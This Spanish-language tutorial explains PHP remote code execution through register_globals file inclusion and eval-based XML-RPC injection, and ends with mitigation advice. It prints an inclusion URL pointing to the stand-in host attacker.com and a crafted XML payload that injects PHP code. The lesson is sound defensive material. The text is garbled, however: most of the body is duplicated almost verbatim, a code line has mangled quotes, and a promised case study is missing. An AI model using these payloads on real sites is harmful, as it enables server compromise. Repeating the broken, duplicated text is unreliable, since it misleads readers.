Este artículo analiza cinco de los más comunes ataques a aplicaciones Web, principalmente para aquellas programadas en PHP, y despues presenta un caso de un sitio Web que fué encontrado con Google y atacado fácilmente.
"Ningún lenguaje de programación puede prevenir código inseguro, aunque tenga las características necesarias para que los desarrolladores lo hagan seguro."
-Chris Shiflett
Cada uno de los ataques que analizaremos es parte de un extenso estudio,y aconsejo a los lectores que vayan siguiendo las referencias en este artículo citadas en cada sección para una lectura adicional.
Es importante tanto para desarrolladores como para administradores Web que tenga un cuidadoso conocimiento de estos ataques.
Debeis tambien percataros de quetu sitio Web puede ser afectado por muchos ataque que no estan completados en este artículo.
A pesar que los ejemplos aquí citados son código PHP esto es debido a su extendido uso en la Red por lo que deberiamos aplicarlos a los demás lenguajes de programación.
Las cinco vulnerabilidades que vamos a analizar son las siguientes:
La meta es proporcionar una descripción de estos problemas dentro de pequeños artículos.
2. Vulnerabilidades
2.1 Ejecución remota del código
Como el nombre sugiere, esta vulnerabilidad permite que un usuario malévolo ejecute código arbitrario a nivel servidor y recupere cualquier información deseada que este contiene.
Ocasionalmente, es difícil descubrir esta vulnerabilidad durante el periodo de testeo de la aplicación web, estos problemas se descubren a menudo mientras que se hace una revisión del código de fuente.
Sin embargo, cuando testeamos nuestra aplicación Web debemos tener en cuenta y recordar esta vulnerabilidad.
Grado: Altamente crítico
Productos previamente vulnerables:
phpbb, tablero de Invision, Cpanel, carro de Paypal, Drupal, y muchos otros...
Aquí analizaremos dos vulnerabilidades críticas de este tipo:
Register_globals en PHP:
Register_globals es un ajuste de PHP que controla la disponibilidad de variables globales en un script PHP (tal como datos fijados de la forma de un usuario, datos URL-codificados, o datos de las cookies).
En versiones anteriores de PHP, las register_globals fueron activadas "ON" por defecto,lo que hizo la vida de los desarrolladores más fácil - pero esto nos conducía a código menos seguro.
Cuando las register_globals estan activadas en php.ini, puede permitir que un usuario inicialice varias variables no inicializadas anteriormente de manera remota.
Muchas veces esto es utilizado para que un usuario malévolo pueda incluir ficheros no deseados y le permite ejecutar código arbitrario desde una localización remota.
Por ejemplo:
require ($page. ?.php?);
Aquí si el parámetro $page no se inicializa y si las register_globals están activados, el servidor será vulnerable a la ejecución remota de código incluyendo cualquier archivo arbitrario en el parámetro $page.
Este sería un ejemplo:
"www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt"
De esta manera, el archivo http://www.attacker.com/attack.txt es incluido y ejecutado en el servidor. Es un ataque muy simple pero eficaz.
XMLRPC en PHP:
Primero aclarar que XML-RPC es un protocolo de llamada a procedimiento remoto que usa XML para codificar las llamadas y HTTP como mecanismo de transporte. Es de uso general en empresas y ambientes grandes.
XML-RPC utiliza el HTTP para su protocolo de transporte y XML para la codificación de los datos.
Varias puestas en práctica independientes de XML-RPC existen para los scripts de PHP.
Un defecto común es la implementación en un script de XML-RPC PHP usando la función eval dentro del servidor de XML-RPC.
Da lugar a una vulnerabilidad que podría permitir que un usuario malévolo remoto ejecute código en el sistema vulnerable.
Un usuario malévolo con la capacidad de subir un archivo hecho a mano de XML podría insertar el código PHP que entonces sería ejecutado por el sitio Web que está utilizando el código vulnerable de XML-RPC.
Aquí os dejo un archivo malévolo de ejemplo en XML:
<?xml version="1.0"?><br />
<methodCall><br />
<methodName>test.method</methodName></p>
<params>
<param>
<value><name>','')); phpinfo(); exit;/*</name></value><br />
</param>
</params>
</methodCall>
Este archivo de XML, cuando esta situado en el servidor vulnerable, hará la llamada de la función phpinfo () para ser ejecutada en el servidor vulnerable, este es el caso de un ejemplo simple que revelará varios detalles sobre la instalación de PHP.
Debajo una lista del software que han poseído previamente este estilo de bug:
Drupal, Wordpress, Xoops, PostNuke, phpMyFaq, y muchos otros
Soluciones:
Versiones más recientes de PHP tienen register_globals desactivadas por defecto, no obstante algunos usuarios las activan porque las necesitan. Este registro se puede activar o desactivar en el archivo php.ini o en el .htaccess. La variable debe ser inicializada correctamente si este registro esta activado. Los administradores son los responsables del buen uso de estas variables.
Si no es estrictamente necesario lo aconsejable es que esta opcion este desactivada y en caso necesario que los datos sean filtrados de manera concienzuda para evitar esta peligrosa vulnerabilidad.
-Chris Shiflett
Cada uno de los ataques que analizaremos es parte de un extenso estudio,y aconsejo a los lectores que vayan siguiendo las referencias en este artículo citadas en cada sección para una lectura adicional.
Es importante tanto para desarrolladores como para administradores Web que tenga un cuidadoso conocimiento de estos ataques.
Debeis tambien percataros de quetu sitio Web puede ser afectado por muchos ataque que no estan completados en este artículo.
A pesar que los ejemplos aquí citados son código PHP esto es debido a su extendido uso en la Red por lo que deberiamos aplicarlos a los demás lenguajes de programación.
Las cinco vulnerabilidades que vamos a analizar son las siguientes:
- Ejecución remota de código (Tema de este artículo)
- SQL (No publicado aún)
- Vulnerabilidades en el formato de cadenas (No publicado aún)
- Site Scripting (XSS) (No publicado aún)
- Problemas usuarios (No publicado aún)
La meta es proporcionar una descripción de estos problemas dentro de pequeños artículos.
2. Vulnerabilidades
2.1 Ejecución remota del código
Como el nombre sugiere, esta vulnerabilidad permite que un usuario malévolo ejecute código arbitrario a nivel servidor y recupere cualquier información deseada que este contiene.
Ocasionalmente, es difícil descubrir esta vulnerabilidad durante el periodo de testeo de la aplicación web, estos problemas se descubren a menudo mientras que se hace una revisión del código de fuente.
Sin embargo, cuando testeamos nuestra aplicación Web debemos tener en cuenta y recordar esta vulnerabilidad.
Grado: Altamente crítico
Productos previamente vulnerables:
phpbb, tablero de Invision, Cpanel, carro de Paypal, Drupal, y muchos otros...
Aquí analizaremos dos vulnerabilidades críticas de este tipo:
Register_globals en PHP:
Register_globals es un ajuste de PHP que controla la disponibilidad de variables globales en un script PHP (tal como datos fijados de la forma de un usuario, datos URL-codificados, o datos de las cookies).
En versiones anteriores de PHP, las register_globals fueron activadas "ON" por defecto,lo que hizo la vida de los desarrolladores más fácil - pero esto nos conducía a código menos seguro.
Cuando las register_globals estan activadas en php.ini, puede permitir que un usuario inicialice varias variables no inicializadas anteriormente de manera remota.
Muchas veces esto es utilizado para que un usuario malévolo pueda incluir ficheros no deseados y le permite ejecutar código arbitrario desde una localización remota.
Por ejemplo:
require ($page. ?.php?);
Aquí si el parámetro $page no se inicializa y si las register_globals están activados, el servidor será vulnerable a la ejecución remota de código incluyendo cualquier archivo arbitrario en el parámetro $page.
Este sería un ejemplo:
"www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt"
De esta manera, el archivo http://www.attacker.com/attack.txt es incluido y ejecutado en el servidor. Es un ataque muy simple pero eficaz.
XMLRPC en PHP:
Primero aclarar que XML-RPC es un protocolo de llamada a procedimiento remoto que usa XML para codificar las llamadas y HTTP como mecanismo de transporte. Es de uso general en empresas y ambientes grandes.
XML-RPC utiliza el HTTP para su protocolo de transporte y XML para la codificación de los datos.
Varias puestas en práctica independientes de XML-RPC existen para los scripts de PHP.
Un defecto común es la implementación en un script de XML-RPC PHP usando la función eval dentro del servidor de XML-RPC.
Da lugar a una vulnerabilidad que podría permitir que un usuario malévolo remoto ejecute código en el sistema vulnerable.
Un usuario malévolo con la capacidad de subir un archivo hecho a mano de XML podría insertar el código PHP que entonces sería ejecutado por el sitio Web que está utilizando el código vulnerable de XML-RPC.
Aquí os dejo un archivo malévolo de ejemplo en XML:
<?xml version="1.0"?><br />
<methodCall><br />
<methodName>test.method</methodName></p>
<params>
<param>
<value><name>','')); phpinfo(); exit;/*</name></value><br />
</param>
</params>
</methodCall>
Este archivo de XML, cuando esta situado en el servidor vulnerable, hará la llamada de la función phpinfo () para ser ejecutada en el servidor vulnerable, este es el caso de un ejemplo simple que revelará varios detalles sobre la instalación de PHP.
Debajo una lista del software que han poseído previamente este estilo de bug:
Drupal, Wordpress, Xoops, PostNuke, phpMyFaq, y muchos otros
Soluciones:
Versiones más recientes de PHP tienen register_globals desactivadas por defecto, no obstante algunos usuarios las activan porque las necesitan. Este registro se puede activar o desactivar en el archivo php.ini o en el .htaccess. La variable debe ser inicializada correctamente si este registro esta activado. Los administradores son los responsables del buen uso de estas variables.
Si no es estrictamente necesario lo aconsejable es que esta opcion este desactivada y en caso necesario que los datos sean filtrados de manera concienzuda para evitar esta peligrosa vulnerabilidad.
Manu Gutierrez